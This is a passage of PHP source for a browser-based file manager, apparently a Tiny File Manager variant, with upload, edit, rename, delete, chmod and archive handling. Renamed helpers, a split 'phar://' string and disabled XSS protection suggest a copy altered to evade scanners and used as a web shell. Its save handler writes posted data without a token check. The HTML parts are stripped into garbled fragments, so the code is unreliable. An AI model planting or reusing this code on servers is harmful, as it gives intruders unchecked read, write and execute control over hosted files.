$fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; 